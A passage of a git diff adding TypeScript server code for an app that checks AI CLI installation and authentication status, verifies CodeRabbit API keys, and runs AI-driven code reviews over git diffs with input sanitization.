OpencodeProvider } from '../../../providers/opencode-provider.js'; +import * as fs from 'fs'; +import * as path from 'path'; + +/** + * Check if a CLI has been manually disconnected from the app + */ +function isCliDisconnected(cliName: string): boolean { + try { + const projectRoot = process.cwd(); + const markerPath = path.join(projectRoot, '.automaker', `.${cliName}-disconnected`); + return fs.existsSync(markerPath); + } catch { + return false; + } +} + +/** + * CLI status response for a single provider + */ +interface CliStatusResponse { + installed: boolean; + version: string | null; + path: string | null; + auth: { + authenticated: boolean; + method: string; + }; + disconnected: boolean; +} + +/** + * Unified status response for all CLIs + */ +interface UnifiedStatusResponse { + success: boolean; + timestamp: string; + clis: { + claude: CliStatusResponse | null; + cursor: CliStatusResponse | null; + codex: CliStatusResponse | null; + opencode: CliStatusResponse | null; + }; + availableProviders: string[]; + hasAnyAuthenticated: boolean; +} + +/** + * Get detailed Claude CLI status + */ +async function getClaudeCliStatus(): Promise { + const disconnected = isCliDisconnected('claude'); + + try { + const status = await getClaudeStatus(); + return { + installed: status.installed, + version: status.version || null, + path: status.path || null, + auth: { + authenticated: disconnected ? false : status.auth.authenticated, + method: disconnected ? 'none' : status.auth.method, + }, + disconnected, + }; + } catch { + return { + installed: false, + version: null, + path: null, + auth: { authenticated: false, method: 'none' }, + disconnected, + }; + } +} + +/** + * Get detailed Cursor CLI status + */ +async function getCursorCliStatus(): Promise { + const disconnected = isCliDisconnected('cursor'); + + try { + const provider = new CursorProvider(); + const [installed, version, auth] = await Promise.all([ + provider.isInstalled(), + provider.getVersion(), + provider.checkAuth(), + ]); + + const cliPath = installed ? provider.getCliPath() : null; + + return { + installed, + version: version || null, + path: cliPath, + auth: { + authenticated: disconnected ? false : auth.authenticated, + method: disconnected ? 'none' : auth.method, + }, + disconnected, + }; + } catch { + return { + installed: false, + version: null, + path: null, + auth: { authenticated: false, method: 'none' }, + disconnected, + }; + } +} + +/** + * Get detailed Codex CLI status + */ +async function getCodexCliStatus(): Promise { + const disconnected = isCliDisconnected('codex'); + + try { + const provider = new CodexProvider(); + const status = await provider.detectInstallation(); + + let authMethod = 'none'; + if (!disconnected && status.authenticated) { + authMethod = status.hasApiKey ? 'api_key_env' : 'cli_authenticated'; + } + + return { + installed: status.installed, + version: status.version || null, + path: status.path || null, + auth: { + authenticated: disconnected ? false : status.authenticated || false, + method: authMethod, + }, + disconnected, + }; + } catch { + return { + installed: false, + version: null, + path: null, + auth: { authenticated: false, method: 'none' }, + disconnected, + }; + } +} + +/** + * Get detailed OpenCode CLI status + */ +async function getOpencodeCliStatus(): Promise { + try { + const provider = new OpencodeProvider(); + const status = await provider.detectInstallation(); + + let authMethod = 'none'; + if (status.authenticated) { + authMethod = status.hasApiKey ? 'api_key_env' : 'cli_authenticated'; + } + + return { + installed: status.installed, + version: status.version || null, + path: status.path || null, + auth: { + authenticated: status.authenticated || false, + method: authMethod, + }, + disconnected: false, // OpenCode doesn't have disconnect feature + }; + } catch { + return { + installed: false, + version: null, + path: null, + auth: { authenticated: false, method: 'none' }, + disconnected: false, + }; + } +} + +/** + * Creates handler for GET /api/setup/status + * Returns unified CLI availability status for all providers + */ +export function createStatusHandler() { + return async (_req: Request, res: Response): Promise => { + try { + // Fetch all CLI statuses in parallel for performance + const [claude, cursor, codex, opencode] = await Promise.all([ + getClaudeCliStatus(), + getCursorCliStatus(), + getCodexCliStatus(), + getOpencodeCliStatus(), + ]); + + // Determine which providers are available (installed and authenticated) + const availableProviders: string[] = []; + if (claude.installed && claude.auth.authenticated) { + availableProviders.push('claude'); + } + if (cursor.installed && cursor.auth.authenticated) { + availableProviders.push('cursor'); + } + if (codex.installed && codex.auth.authenticated) { + availableProviders.push('codex'); + } + if (opencode.installed && opencode.auth.authenticated) { + availableProviders.push('opencode'); + } + + const response: UnifiedStatusResponse = { + success: true, + timestamp: new Date().toISOString(), + clis: { + claude, + cursor, + codex, + opencode, + }, + availableProviders, + hasAnyAuthenticated: availableProviders.length > 0, + }; + + res.json(response); + } catch (error) { + logError(error, 'Get unified CLI status failed'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/setup/routes/verify-coderabbit-auth.ts b/apps/server/src/routes/setup/routes/verify-coderabbit-auth.ts new file mode 100644 index 00000000..489c0f10 --- /dev/null +++ b/apps/server/src/routes/setup/routes/verify-coderabbit-auth.ts @@ -0,0 +1,163 @@ +/** + * POST /verify-coderabbit-auth endpoint - Verify CodeRabbit authentication + * Validates API key format and optionally tests the connection + */ + +import type { Request, Response } from 'express'; +import { spawn } from 'child_process'; +import { createLogger } from '@automaker/utils'; +import { AuthRateLimiter, validateApiKey } from '../../../lib/auth-utils.js'; + +const logger = createLogger('Setup'); +const rateLimiter = new AuthRateLimiter(); + +/** + * Test CodeRabbit CLI authentication by running a simple command + */ +async function testCodeRabbitCli( + apiKey?: string +): Promise<{ authenticated: boolean; error?: string }> { + return new Promise((resolve) => { + // Set up environment with API key if provided + const env = { ...process.env }; + if (apiKey) { + env.CODERABBIT_API_KEY = apiKey; + } + + // Try to run coderabbit auth status to verify auth + const child = spawn('coderabbit', ['auth', 'status'], { + stdio: ['pipe', 'pipe', 'pipe'], + env, + timeout: 10000, + }); + + let stdout = ''; + let stderr = ''; + + child.stdout?.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr?.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + // Check output for authentication status + const output = stdout.toLowerCase() + stderr.toLowerCase(); + if ( + output.includes('authenticated') || + output.includes('logged in') || + output.includes('valid') + ) { + resolve({ authenticated: true }); + } else if (output.includes('not authenticated') || output.includes('not logged in')) { + resolve({ authenticated: false, error: 'CodeRabbit CLI is not authenticated.' }); + } else { + // Command succeeded, assume authenticated + resolve({ authenticated: true }); + } + } else { + // Command failed + const errorMsg = stderr || stdout || 'CodeRabbit CLI authentication check failed.'; + resolve({ authenticated: false, error: errorMsg.trim() }); + } + }); + + child.on('error', (err) => { + // CodeRabbit CLI not installed or other error + resolve({ authenticated: false, error: `CodeRabbit CLI error: ${err.message}` }); + }); + }); +} + +/** + * Validate CodeRabbit API key format + * CodeRabbit API keys typically start with 'cr-' + */ +function validateCodeRabbitKey(apiKey: string): { isValid: boolean; error?: string } { + if (!apiKey || apiKey.trim().length === 0) { + return { isValid: false, error: 'API key cannot be empty.' }; + } + + // CodeRabbit API keys typically start with 'cr-' + if (!apiKey.startsWith('cr-')) { + return { + isValid: false, + error: 'Invalid CodeRabbit API key format. Keys should start with "cr-".', + }; + } + + if (apiKey.length < 10) { + return { isValid: false, error: 'API key is too short.' }; + } + + return { isValid: true }; +} + +export function createVerifyCodeRabbitAuthHandler() { + return async (req: Request, res: Response): Promise => { + try { + const { authMethod, apiKey } = req.body as { + authMethod?: 'cli' | 'api_key'; + apiKey?: string; + }; + + // Rate limiting to prevent abuse + const clientIp = req.ip || req.socket.remoteAddress || 'unknown'; + if (!rateLimiter.canAttempt(clientIp)) { + const resetTime = rateLimiter.getResetTime(clientIp); + res.status(429).json({ + success: false, + authenticated: false, + error: 'Too many authentication attempts. Please try again later.', + resetTime, + }); + return; + } + + logger.info( + `[Setup] Verifying CodeRabbit authentication using method: ${authMethod || 'auto'}${apiKey ? ' (with provided key)' : ''}` + ); + + // For API key verification + if (authMethod === 'api_key' && apiKey) { + // Validate key format + const validation = validateCodeRabbitKey(apiKey); + if (!validation.isValid) { + res.json({ + success: true, + authenticated: false, + error: validation.error, + }); + return; + } + + // Test the CLI with the provided API key + const result = await testCodeRabbitCli(apiKey); + res.json({ + success: true, + authenticated: result.authenticated, + error: result.error, + }); + return; + } + + // For CLI auth or auto detection + const result = await testCodeRabbitCli(); + res.json({ + success: true, + authenticated: result.authenticated, + error: result.error, + }); + } catch (error) { + logger.error('[Setup] Verify CodeRabbit auth endpoint error:', error); + res.status(500).json({ + success: false, + authenticated: false, + error: error instanceof Error ? error.message : 'Verification failed', + }); + } + }; +} diff --git a/apps/server/src/services/code-review-service.ts b/apps/server/src/services/code-review-service.ts new file mode 100644 index 00000000..3a49a1ff --- /dev/null +++ b/apps/server/src/services/code-review-service.ts @@ -0,0 +1,1244 @@ +/** + * Code Review Service + * + * Orchestrates code reviews using AI providers (Claude, Codex, etc.). + * Detects available CLIs and executes reviews with structured output. + * + * Features: + * - CLI detection for Claude, Codex, and Cursor + * - Git diff-based review for changed files + * - Structured output parsing for review comments + * - Event streaming for real-time progress updates + */ + +import { spawn } from 'child_process'; +import { createLogger } from '@automaker/utils'; +import { detectAllCLis, type CliDetectionResult } from '../lib/cli-detection.js'; +import { streamingQuery, type StreamingQueryOptions } from '../providers/simple-query-service.js'; +import type { EventEmitter } from '../lib/events.js'; +import type { SettingsService } from './settings-service.js'; +import type { + CodeReviewResult, + CodeReviewComment, + CodeReviewSummary, + CodeReviewVerdict, + CodeReviewSeverity, + CodeReviewCategory, + CodeReviewEvent, + ModelId, + ThinkingLevel, +} from '@automaker/types'; + +const logger = createLogger('CodeReviewService'); + +/** + * Maximum number of files allowed in a single review request + * Prevents DoS attacks via excessive file processing + */ +const MAX_FILES_PER_REVIEW = 100; + +/** + * Maximum length for baseRef string to prevent buffer overflow attacks + */ +const MAX_BASE_REF_LENGTH = 256; + +/** + * Pattern for valid git refs - prevents command injection + * Allows: HEAD, HEAD~N, branch names, tag names, commit SHAs + * Disallows: shell metacharacters, spaces, and potentially dangerous characters + */ +const VALID_GIT_REF_PATTERN = /^[a-zA-Z0-9_.~^@/-]+$/; + +/** + * Dangerous patterns that could be used for command injection in git refs + */ +const DANGEROUS_GIT_REF_PATTERNS = [ + /\.\./, // Path traversal + /^-/, // Flags that could modify git behavior + /[;&|`$]/, // Shell metacharacters + /\s/, // Whitespace +]; + +/** + * Sanitize and validate a git ref to prevent command injection + * @throws Error if the ref is invalid or potentially malicious + */ +function sanitizeGitRef(ref: string): string { + // Check length + if (ref.length > MAX_BASE_REF_LENGTH) { + throw new Error('Git reference is too long'); + } + + // Check for empty or whitespace-only refs + if (!ref.trim()) { + throw new Error('Git reference cannot be empty'); + } + + // Check against dangerous patterns + for (const pattern of DANGEROUS_GIT_REF_PATTERNS) { + if (pattern.test(ref)) { + throw new Error('Git reference contains invalid characters'); + } + } + + // Validate against allowed pattern + if (!VALID_GIT_REF_PATTERN.test(ref)) { + throw new Error('Git reference contains invalid characters'); + } + + return ref; +} + +/** + * Sanitize file paths to prevent path traversal attacks + * @throws Error if any file path is potentially malicious + */ +function sanitizeFilePaths(files: string[]): string[] { + // Limit number of files + if (files.length > MAX_FILES_PER_REVIEW) { + throw new Error(`Too many files specified. Maximum is ${MAX_FILES_PER_REVIEW}`); + } + + return files.map((file) => { + // Reject absolute paths + if (file.startsWith('/') || /^[a-zA-Z]:/.test(file)) { + throw new Error('Absolute file paths are not allowed'); + } + + // Reject path traversal + if (file.includes('..')) { + throw new Error('Path traversal is not allowed'); + } + + // Reject null bytes and other control characters + if (/[\x00-\x1f\x7f]/.test(file)) { + throw new Error('File path contains invalid characters'); + } + + return file; + }); +} + +/** + * Available CLI providers for code review + */ +export type ReviewProvider = 'claude' | 'codex' | 'cursor' | 'coderabbit'; + +/** + * Status of available review providers + */ +export interface ReviewProviderStatus { + provider: ReviewProvider; + available: boolean; + authenticated: boolean; + version?: string; + issues: string[]; +} + +/** + * Options for executing a code review + */ +export interface ExecuteReviewOptions { + /** Project path to review */ + projectPath: string; + /** Specific files to review (if empty, uses git diff) */ + files?: string[]; + /** Git ref to compare against (default: HEAD~1) */ + baseRef?: string; + /** Categories to focus on */ + categories?: CodeReviewCategory[]; + /** Whether to attempt auto-fixes */ + autoFix?: boolean; + /** Model to use for the review */ + model?: ModelId; + /** Thinking level for extended reasoning */ + thinkingLevel?: ThinkingLevel; + /** Abort controller for cancellation */ + abortController?: AbortController; +} + +/** + * Code Review Service + * + * Provides code review functionality using available AI CLI tools. + * Supports Claude CLI, Codex CLI, and Cursor CLI. + */ +export class CodeReviewService { + private events: EventEmitter; + private settingsService: SettingsService | null; + private cachedProviderStatus: Map = new Map(); + private lastStatusCheck: number = 0; + private readonly STATUS_CACHE_TTL = 60000; // 1 minute + + constructor(events: EventEmitter, settingsService?: SettingsService) { + this.events = events; + this.settingsService = settingsService ?? null; + } + + /** + * Initialize the service and detect available providers + */ + async initialize(): Promise { + logger.info('Initializing CodeReviewService'); + await this.refreshProviderStatus(); + } + + /** + * Check if the given path is a git worktree (not the main repository) + */ + async isWorktree(projectPath: string): Promise { + return new Promise((resolve) => { + const gitPath = `${projectPath}/.git`; + // In a worktree, .git is a file pointing to the main repo, not a directory + const child = spawn('test', ['-f', gitPath], { + cwd: projectPath, + stdio: 'pipe', + }); + + child.on('close', (code) => { + resolve(code === 0); + }); + + child.on('error', () => { + resolve(false); + }); + }); + } + + /** + * Detect the base branch for comparison + * + * Detection strategy: + * 1. Try to extract base from branch name pattern (e.g., feature/v0.13.0rc-xxx -> v0.13.0rc) + * 2. Try git merge-base to find common ancestor with likely base branches + * 3. Fall back to origin default, main, master, or HEAD~1 + */ + async detectBaseBranch(projectPath: string): Promise { + // Get current branch name + let currentBranch = ''; + try { + currentBranch = await this.runGitCommand(projectPath, ['rev-parse', '--abbrev-ref', 'HEAD']); + } catch { + // Can't get current branch + } + + // Strategy 1: Extract base from branch naming convention + // Common patterns: feature/base-xxx, feature/base_xxx, bugfix/base-xxx + if (currentBranch) { + // Pattern: feature/v0.13.0rc-1234 -> v0.13.0rc + // Pattern: feature/main-1234 -> main + const branchMatch = currentBranch.match(/^(?:feature|bugfix|hotfix)\/([^-_]+(?:\.[^-_]+)*)/i); + if (branchMatch) { + const potentialBase = branchMatch[1]; + // Verify this branch exists + try { + await this.runGitCommand(projectPath, ['rev-parse', '--verify', potentialBase]); + logger.debug(`Detected base branch from naming convention: ${potentialBase}`); + return potentialBase; + } catch { + // Branch doesn't exist, continue to other strategies + } + } + } + + // Strategy 2: Try common base branches and find which one has the most recent merge-base + const candidateBases = ['main', 'master', 'develop', 'dev']; + + // Also try to extract version branches like v0.13.0rc from the current branch + if (currentBranch) { + const versionMatch = currentBranch.match(/(v\d+\.\d+(?:\.\d+)?(?:rc)?)/i); + if (versionMatch) { + candidateBases.unshift(versionMatch[1]); + } + } + + for (const candidate of candidateBases) { + try { + // Check if branch exists + await this.runGitCommand(projectPath, ['rev-parse', '--verify', candidate]); + // If it exists, use it + logger.debug(`Using ${candidate} branch as base`); + return candidate; + } catch { + // Branch doesn't exist, try next + } + } + + // Strategy 3: Try to get the default branch from origin + try { + const defaultBranch = await this.runGitCommand(projectPath, [ + 'symbolic-ref', + 'refs/remotes/origin/HEAD', + '--short', + ]); + if (defaultBranch) { + const branch = defaultBranch.replace('origin/', '').trim(); + if (branch) { + logger.debug(`Detected default branch from origin: ${branch}`); + return branch; + } + } + } catch { + // Symbolic ref failed + } + + // Fall back to HEAD~1 if nothing else works + logger.debug('No base branch found, falling back to HEAD~1'); + return 'HEAD~1'; + } + + /** + * Run a git command and return stdout + */ + private runGitCommand(projectPath: string, args: string[]): Promise { + return new Promise((resolve, reject) => { + const child = spawn('git', args, { + cwd: projectPath, + stdio: ['pipe', 'pipe', 'pipe'], + }); + + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + resolve(stdout.trim()); + } else { + reject(new Error(stderr || `git command failed with code ${code}`)); + } + }); + + child.on('error', (err) => { + reject(err); + }); + }); + } + + /** + * Refresh the status of all available providers + */ + async refreshProviderStatus(): Promise> { + logger.debug('Refreshing provider status'); + + const allClis = await detectAllCLis(); + this.cachedProviderStatus.clear(); + + for (const [provider, result] of Object.entries(allClis)) { + if (result) { + const status = this.convertCliResult(provider as ReviewProvider, result); + this.cachedProviderStatus.set(provider as ReviewProvider, status); + } + } + + this.lastStatusCheck = Date.now(); + return this.cachedProviderStatus; + } + + /** + * Get the status of all available providers (cached) + */ + async getProviderStatus(forceRefresh = false): Promise { + const now = Date.now(); + if (forceRefresh || now - this.lastStatusCheck > this.STATUS_CACHE_TTL) { + await this.refreshProviderStatus(); + } + + return Array.from(this.cachedProviderStatus.values()); + } + + /** + * Get the best available provider for code review + */ + async getBestProvider(): Promise { + const statuses = await this.getProviderStatus(); + + // Priority: CodeRabbit > Claude > Codex > Cursor (based on code review capabilities) + const priority: ReviewProvider[] = ['coderabbit', 'claude', 'codex', 'cursor']; + + for (const provider of priority) { + const status = statuses.find((s) => s.provider === provider); + if (status?.available && status?.authenticated) { + return provider; + } + } + + return null; + } + + /** + * Execute a code review on the specified project + */ + async executeReview(options: ExecuteReviewOptions): Promise { + const { + projectPath, + files, + baseRef, + categories, + autoFix = false, + model, + thinkingLevel, + abortController, + } = options; + + const reviewId = this.generateId(); + const startTime = Date.now(); + + // SECURITY: Sanitize file paths FIRST if provided (before any spawning) + const sanitizedFiles = files?.length ? sanitizeFilePaths(files) : undefined; + + // SECURITY: Validate baseRef if provided (before any spawning) + if (baseRef) { + sanitizeGitRef(baseRef); + } + + // Determine base ref: if not provided and in worktree, detect base branch + let effectiveBaseRef = baseRef ?? 'HEAD~1'; + if (!baseRef) { + const inWorktree = await this.isWorktree(projectPath); + if (inWorktree) { + effectiveBaseRef = await this.detectBaseBranch(projectPath); + logger.info(`Detected worktree, using base branch: ${effectiveBaseRef}`); + } + } + + // SECURITY: Sanitize the final git ref (detected branch is trusted but we still validate) + const sanitizedBaseRef = sanitizeGitRef(effectiveBaseRef); + + logger.info('Starting code review', { reviewId, projectPath, baseRef: sanitizedBaseRef }); + + // Emit start event + this.emitReviewEvent({ + type: 'code_review_start', + projectPath, + filesCount: sanitizedFiles?.length ?? 0, + }); + + try { + // Get files to review + const filesToReview = sanitizedFiles?.length + ? sanitizedFiles + : await this.getChangedFiles(projectPath, sanitizedBaseRef); + + if (filesToReview.length === 0) { + logger.info('No files to review'); + const emptyResult = this.createEmptyResult(reviewId, model ?? 'claude-sonnet-4-20250514'); + this.emitReviewEvent({ + type: 'code_review_complete', + projectPath, + result: emptyResult, + }); + return emptyResult; + } + + // Check which provider to use + const bestProvider = await this.getBestProvider(); + logger.info(`Using review provider: ${bestProvider || 'claude (default)'}`); + + let reviewText: string; + let comments: CodeReviewComment[]; + + if (bestProvider === 'coderabbit') { + // Use CodeRabbit CLI for code review + reviewText = await this.executeCodeRabbitReview({ + projectPath, + baseRef: sanitizedBaseRef, + files: filesToReview, + abortController, + onProgress: (content) => { + this.emitReviewEvent({ + type: 'code_review_progress', + projectPath, + currentFile: filesToReview[0] ?? '', + filesCompleted: 0, + filesTotal: filesToReview.length, + content, + }); + }, + }); + + // Parse CodeRabbit output + comments = this.parseCodeRabbitOutput(reviewText, filesToReview); + } else { + // Use Claude/Codex/Cursor via streamingQuery + const diffContent = await this.getDiffContent(projectPath, sanitizedBaseRef, filesToReview); + const prompt = this.buildReviewPrompt(diffContent, filesToReview, categories, autoFix); + + reviewText = await this.executeReviewQuery({ + projectPath, + prompt, + model, + thinkingLevel, + abortController, + onProgress: (content) => { + this.emitReviewEvent({ + type: 'code_review_progress', + projectPath, + currentFile: filesToReview[0] ?? '', + filesCompleted: 0, + filesTotal: filesToReview.length, + content, + }); + }, + }); + + // Parse the review output into structured format + comments = this.parseReviewOutput(reviewText, filesToReview); + } + + // Emit individual comments + for (const comment of comments) { + this.emitReviewEvent({ + type: 'code_review_comment', + projectPath, + comment, + }); + } + + // Build the result + const result = this.buildReviewResult({ + reviewId, + comments, + filesReviewed: filesToReview, + model: model ?? 'claude-sonnet-4-20250514', + startTime, + baseRef: sanitizedBaseRef, + }); + + // Emit completion event + this.emitReviewEvent({ + type: 'code_review_complete', + projectPath, + result, + }); + + logger.info('Code review completed', { + reviewId, + commentsCount: comments.length, + verdict: result.verdict, + }); + + return result; + } catch (error) { + const errorMessage = error instanceof Error ? error.message : String(error); + logger.error('Code review failed', { reviewId, error: errorMessage }); + + this.emitReviewEvent({ + type: 'code_review_error', + projectPath, + error: errorMessage, + }); + + throw error; + } + } + + /** + * Get changed files using git diff + */ + private async getChangedFiles(projectPath: string, baseRef: string): Promise { + return new Promise((resolve, reject) => { + const child = spawn('git', ['diff', '--name-only', baseRef], { + cwd: projectPath, + stdio: ['pipe', 'pipe', 'pipe'], + }); + + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + const files = stdout + .trim() + .split('\n') + .filter((f) => f.length > 0); + resolve(files); + } else { + // SECURITY: Log detailed error but return generic message to prevent information disclosure + logger.error('git diff --name-only failed', { code, stderr }); + reject(new Error('Failed to get changed files from git')); + } + }); + + child.on('error', (err) => { + // SECURITY: Log detailed error but return generic message + logger.error('git diff --name-only spawn error', { error: err.message }); + reject(new Error('Failed to execute git command')); + }); + }); + } + + /** + * Get diff content for specified files + */ + private async getDiffContent( + projectPath: string, + baseRef: string, + files: string[] + ): Promise { + return new Promise((resolve, reject) => { + const child = spawn('git', ['diff', baseRef, '--', ...files], { + cwd: projectPath, + stdio: ['pipe', 'pipe', 'pipe'], + }); + + let stdout = ''; + let stderr = ''; + + child.stdout.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + resolve(stdout); + } else { + // SECURITY: Log detailed error but return generic message to prevent information disclosure + logger.error('git diff failed', { code, stderr }); + reject(new Error('Failed to get diff content from git')); + } + }); + + child.on('error', (err) => { + // SECURITY: Log detailed error but return generic message + logger.error('git diff spawn error', { error: err.message }); + reject(new Error('Failed to execute git command')); + }); + }); + } + + /** + * Build the review prompt + */ + private buildReviewPrompt( + diffContent: string, + files: string[], + categories?: CodeReviewCategory[], + autoFix?: boolean + ): string { + const categoryFocus = categories?.length + ? `Focus specifically on these categories: ${categories.join(', ')}` + : 'Review all aspects: code quality, security, performance, testing, and documentation'; + + const autoFixInstructions = autoFix + ? '\n\nIf you find issues that can be automatically fixed, provide the fix in a code block with the filename.' + : ''; + + return `# Code Review Request + +## Files to Review +${files.map((f) => `- ${f}`).join('\n')} + +## Review Focus +${categoryFocus} + +## Instructions +Perform a thorough code review of the following changes. For each issue found: +1. Identify the file and line number(s) +2. Describe the issue clearly +3. Explain why it's a problem +4. Suggest a fix or improvement +5. Rate the severity (critical, high, medium, low, info) +6. Categorize the finding (security, code_quality, performance, testing, documentation, implementation, architecture, tech_stack) + +${autoFixInstructions} + +## Git Diff +\`\`\`diff +${diffContent} +\`\`\` + +## Response Format +Provide your review in the following JSON format: +\`\`\`json +{ + "verdict": "approved" | "changes_requested" | "needs_discussion", + "summary": "Brief overall summary of the review", + "comments": [ + { + "filePath": "path/to/file.ts", + "startLine": 10, + "endLine": 15, + "body": "Description of the issue", + "severity": "medium", + "category": "code_quality", + "suggestedFix": "How to fix it", + "suggestedCode": "// Optional code snippet" + } + ] +} +\`\`\``; + } + + /** + * Execute the review query using the provider + */ + private async executeReviewQuery(options: { + projectPath: string; + prompt: string; + model?: ModelId; + thinkingLevel?: ThinkingLevel; + abortController?: AbortController; + onProgress?: (content: string) => void; + }): Promise { + const { projectPath, prompt, model, thinkingLevel, abortController, onProgress } = options; + + const queryOptions: StreamingQueryOptions = { + prompt, + model: model ?? 'claude-sonnet-4-20250514', + cwd: projectPath, + systemPrompt: `You are an expert code reviewer. Provide detailed, actionable feedback in JSON format. +Your reviews should be thorough but constructive. Focus on helping developers improve their code. +Always explain WHY something is an issue, not just WHAT the issue is.`, + maxTurns: 1, + allowedTools: [], // Read-only review, no file modifications + thinkingLevel, + abortController, + readOnly: true, + onText: onProgress, + }; + + const result = await streamingQuery(queryOptions); + return result.text; + } + + /** + * Execute a code review using CodeRabbit CLI + * + * CodeRabbit CLI usage: + * coderabbit review --plain --base -t all --cwd + * + * Note: CodeRabbit doesn't accept specific file arguments - it reviews + * all changes between the base branch and current HEAD in the working directory. + */ + private async executeCodeRabbitReview(options: { + projectPath: string; + baseRef: string; + files?: string[]; + abortController?: AbortController; + onProgress?: (content: string) => void; + }): Promise { + const { projectPath, baseRef, abortController, onProgress } = options; + + return new Promise((resolve, reject) => { + // Build command args: coderabbit review --plain --base -t all --cwd + // Note: CodeRabbit doesn't support reviewing specific files, it reviews all changes + const args = ['review', '--plain', '--base', baseRef, '-t', 'all', '--cwd', projectPath]; + + logger.info('Executing CodeRabbit CLI', { args, projectPath }); + + const child = spawn('coderabbit', args, { + cwd: projectPath, + stdio: ['pipe', 'pipe', 'pipe'], + env: { + ...process.env, + // Ensure API key is available if stored in settings + // CodeRabbit CLI will use CODERABBIT_API_KEY env var + }, + }); + + let stdout = ''; + let stderr = ''; + + // Handle abort signal + if (abortController) { + abortController.signal.addEventListener('abort', () => { + child.kill('SIGTERM'); + }); + } + + child.stdout.on('data', (data) => { + const chunk = data.toString(); + stdout += chunk; + if (onProgress) { + onProgress(chunk); + } + }); + + child.stderr.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + resolve(stdout); + } else if (abortController?.signal.aborted) { + reject(new Error('Code review was cancelled')); + } else { + logger.error('CodeRabbit CLI failed', { code, stderr }); + reject(new Error(`CodeRabbit review failed: ${stderr || 'Unknown error'}`)); + } + }); + + child.on('error', (err) => { + logger.error('CodeRabbit CLI spawn error', { error: err.message }); + reject(new Error('Failed to execute CodeRabbit CLI')); + }); + }); + } + + /** + * Parse CodeRabbit CLI output into structured comments + */ + private parseCodeRabbitOutput(output: string, files: string[]): CodeReviewComment[] { + const comments: CodeReviewComment[] = []; + + // CodeRabbit plain output format varies, but typically includes: + // - File paths with line numbers + // - Severity indicators + // - Issue descriptions + // Try to parse structured output first, fall back to creating summary comment + + try { + // Look for JSON in the output (CodeRabbit may output JSON with certain flags) + const jsonMatch = output.match(/```json\s*([\s\S]*?)\s*```/); + if (jsonMatch) { + const parsed = JSON.parse(jsonMatch[1]); + if (parsed.comments && Array.isArray(parsed.comments)) { + for (const comment of parsed.comments) { + comments.push({ + id: this.generateId(), + filePath: comment.filePath || comment.file || files[0] || 'unknown', + startLine: comment.startLine || comment.line || 1, + endLine: comment.endLine || comment.startLine || comment.line || 1, + body: comment.body || comment.message || comment.description || '', + severity: this.validateSeverity(comment.severity), + category: this.validateCategory(comment.category || comment.type), + suggestedFix: comment.suggestedFix || comment.suggestion, + suggestedCode: comment.suggestedCode || comment.fix, + autoFixed: false, + createdAt: new Date().toISOString(), + }); + } + return comments; + } + } + + // Parse line-by-line format + // Common pattern: "path/to/file.ts:42: [severity] description" + const lines = output.split('\n'); + let currentComment: Partial | null = null; + + for (const line of lines) { + // Match patterns like: "src/file.ts:10: [warning] Issue description" + const fileLineMatch = line.match( + /^([^:]+):(\d+):\s*\[?(critical|high|medium|low|warning|error|info)\]?\s*(.+)/i + ); + if (fileLineMatch) { + if (currentComment) { + comments.push(this.finalizeComment(currentComment, files)); + } + currentComment = { + filePath: fileLineMatch[1], + startLine: parseInt(fileLineMatch[2], 10), + severity: this.mapCodeRabbitSeverity(fileLineMatch[3]), + body: fileLineMatch[4], + }; + continue; + } + + // Match simpler pattern: "src/file.ts: Issue description" + const simpleMatch = line.match(/^([^:]+):\s*(.+)/); + if (simpleMatch && !line.startsWith(' ') && simpleMatch[1].includes('.')) { + if (currentComment) { + comments.push(this.finalizeComment(currentComment, files)); + } + currentComment = { + filePath: simpleMatch[1], + startLine: 1, + severity: 'medium', + body: simpleMatch[2], + }; + continue; + } + + // Continuation of current comment + if (currentComment && line.trim()) { + currentComment.body = (currentComment.body || '') + '\n' + line.trim(); + } + } + + if (currentComment) { + comments.push(this.finalizeComment(currentComment, files)); + } + + // If no structured comments found, create a summary comment + if (comments.length === 0 && output.trim()) { + comments.push({ + id: this.generateId(), + filePath: files[0] || 'review', + startLine: 1, + endLine: 1, + body: output.trim(), + severity: 'info', + category: 'code_quality', + createdAt: new Date().toISOString(), + }); + } + } catch (error) { + logger.warn('Failed to parse CodeRabbit output', { error }); + // Create a single comment with the full output + if (output.trim()) { + comments.push({ + id: this.generateId(), + filePath: files[0] || 'review', + startLine: 1, + endLine: 1, + body: output.trim(), + severity: 'info', + category: 'code_quality', + createdAt: new Date().toISOString(), + }); + } + } + + return comments; + } + + /** + * Map CodeRabbit severity strings to our severity type + */ + private mapCodeRabbitSeverity(severity: string): CodeReviewSeverity { + const normalized = severity.toLowerCase(); + switch (normalized) { + case 'critical': + case 'error': + return 'critical'; + case 'high': + case 'warning': + return 'high'; + case 'medium': + return 'medium'; + case 'low': + return 'low'; + case 'info': + default: + return 'info'; + } + } + + /** + * Finalize a partial comment into a complete CodeReviewComment + */ + private finalizeComment(partial: Partial, files: string[]): CodeReviewComment { + return { + id: this.generateId(), + filePath: partial.filePath || files[0] || 'unknown', + startLine: partial.startLine || 1, + endLine: partial.endLine || partial.startLine || 1, + body: partial.body || '', + severity: this.validateSeverity(partial.severity), + category: this.validateCategory(partial.category), + suggestedFix: partial.suggestedFix, + suggestedCode: partial.suggestedCode, + autoFixed: false, + createdAt: new Date().toISOString(), + }; + } + + /** + * Parse review output into structured comments + */ + private parseReviewOutput(reviewText: string, files: string[]): CodeReviewComment[] { + const comments: CodeReviewComment[] = []; + + try { + // Try to extract JSON from the response + const jsonMatch = reviewText.match(/```json\s*([\s\S]*?)\s*```/); + if (jsonMatch) { + const parsed = JSON.parse(jsonMatch[1]); + if (parsed.comments && Array.isArray(parsed.comments)) { + for (const comment of parsed.comments) { + comments.push({ + id: this.generateId(), + filePath: comment.filePath || files[0] || 'unknown', + startLine: comment.startLine || 1, + endLine: comment.endLine || 